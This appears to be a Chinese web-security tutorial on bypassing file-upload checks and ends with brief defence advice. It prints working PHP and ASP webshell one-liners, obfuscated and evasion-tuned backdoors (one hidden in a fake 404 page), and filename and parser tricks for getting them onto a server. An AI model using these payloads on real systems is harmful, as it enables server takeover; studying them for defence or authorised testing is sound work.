Web安全 -- 上传漏洞绕过
字数 1079 2025-08-18 11:37:02
Web安全:文件上传漏洞绕过技术详解
一、上传漏洞概述
文件上传功能是Web应用中常见的安全薄弱环节,攻击者通过精心构造恶意文件上传,可能获取服务器控制权限。根据验证机制的不同,上传绕过技术可分为多种类型。
二、验证机制与绕过方法
1. 前端验证绕过
特征:使用JavaScript在客户端验证文件类型
绕过方法:
- 截断上传:直接拦截HTTP请求修改上传内容
- 构造上传:编写HTML表单直接调用上传接口
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
2. 后端验证绕过
(1) 文件名验证绕过
白名单绕过:
- 利用解析漏洞:如IIS6.0解析
1.asp;1.jpg为ASP文件 - 大小写混合:
Web.Shell.pHp - 特殊后缀:
.asa,.cer,.cdx等
黑名单绕过:
- 双扩展名:
shell.php.jpg - 尾部加点/空格:
shell.php.或shell.php(Windows自动去除) - 特殊字符:
shell.php%00.jpg(空字节截断)
(2) 文件内容验证绕过
文件头伪造:
- 在真实文件头后插入恶意代码
GIF89a
<?php system($_GET['cmd']); ?>
Content-Type绕过:
- 修改MIME类型为允许的类型如
image/jpeg
(3) 自定义正则校验绕过
- 代码混淆:
<?php
$a = "a"."s"."s"."e"."r"."t";
$a($_POST["cmd"]);
?>
- 注释分割:
<?php /*xyz*/eval/*abc*/($_POST['cmd']); ?>
3. WAF设备绕过
方法:
- 垃圾数据填充:在文件开头添加大量无用数据
- 多文件上传:利用
name="files[]"数组形式 - 协议混淆:混合GET/POST方法
- 删除Content-Type:移除或修改内容类型字段
三、组合利用技术
1. 配合文件包含漏洞
<?php include("uploaded.txt"); ?>
利用协议:
php://filterphar://zip://
2. 利用服务器解析漏洞
IIS 6.0:
- 目录解析:
/uploads/shell.asp/1.jpg - 分号解析:
shell.asp;.jpg
Apache:
- 从右向左解析:
shell.php.xxx(xxx不被识别)
3. 利用操作系统特性
- Windows特殊字符:
shell.php::$DATA - 路径遍历:
../../../shell.php
四、免杀技术实例
1. ASP免杀小马
<%
'GIF89a
Execute(Request("cmd"))
%>
保存为.cer扩展名
2. PHP隐蔽后门
<!DOCTYPE HTML>
[...404错误页面内容...]
<?php @preg_replace("/[checksql]/e",$_POST['cnsec'],"saft"); ?>
3. 变形一句话
<?php ($_=@$_GET[2]).@$_POST[sz]?>
五、防御建议
- 使用白名单验证文件扩展名
- 重命名上传文件(避免用户控制文件名)
- 限制上传目录执行权限
- 对文件内容进行严格检查
- 使用随机目录存储上传文件
- 定期更新Web服务器和应用程序
通过理解这些绕过技术,安全人员可以更好地设计防御措施,而渗透测试人员可以更全面地评估系统安全性。